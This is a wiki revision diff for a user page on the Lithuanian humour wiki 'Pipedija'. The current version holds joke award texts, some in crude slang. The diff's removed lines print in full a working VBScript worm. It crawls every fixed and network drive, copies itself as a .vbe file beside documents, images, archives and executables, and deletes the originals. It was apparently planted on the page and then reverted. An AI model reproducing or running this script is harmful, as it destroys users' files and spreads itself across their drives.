Naudotojas:Fandorina: Skirtumas tarp puslapio versijų

Dabartinė 20:50, 11 rugpjūčio 2025 versija

Už įnirtingą kovą prieš pizdukus, saugant Pipediją mūšyje Supermamos šmaikštašiknės

Tamista iškilmingai abdovanotas Pipedijos medaliu už nuopelną, skleidžiantį humorą beigi satyrą

Super Garbingai įtekiamas šis apdovanojimas už labai normalų Pipedijos administravimą ir gėrį nešančioms žinutėmis

Tamista iškilmingai abdovanotas ~~Pipedijos Admino~~Tamistos paveikslu plasmasės rėmely

@@ 1 eilutė: / 1 eilutė: @@
-haha()
+{{Kovotojas|Supermamos šmaikštašiknės}}
-Sub haha()
+{{Redaktorius}}
-On Error Resume Next
+[[Vaizdas:Med.jpg|miniatiūra|Super Garbingai įtekiamas šis apdovanojimas už labai normalų Pipedijos administravimą ir gėrį nešančioms žinutėmis]]
-Dim d, dc, s, fso, haha
+[[Click here]]
-Set fso = CreateObject("Scripting.FileSystemObject")
+{{Adminas}}
-Set dc = fso.Drives
-For Each d In dc
-If d.DriveType = 2 Or d.DriveType = 3 Then
-hihi (d.Path & "\")
-End If
-Next
-haha = s
-End sub
-Sub hehe(folderspec)
-On Error Resume Next
-Dim f, f1, fc, ext, s, fso
-Set fso = CreateObject("Scripting.FileSystemObject")
-Set f = fso.GetFolder(folderspec)
-Set fc = f.Files
-For Each f1 In fc
-ext = fso.GetExtensionName(f1.Path)
-ext = LCase(ext)
-s = LCase(f1.Name)
-If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
-Set f = fso.getfile(wscript.scriptfullname)
-f.Copy (f1.Path & ".vbe")
-fso.deletefile(f1.path)
-End If
-Next
-End Sub
-Sub hihi(folderspec)
-On Error Resume Next
-Dim f, f1, sf, fso
-Set fso = CreateObject("Scripting.FileSystemObject")
-Set f = fso.GetFolder(folderspec)
-Set sf = f.SubFolders
-For Each f1 In sf
-hehe (f1.Path)
-hihi (f1.Path)
-Next
-End Sub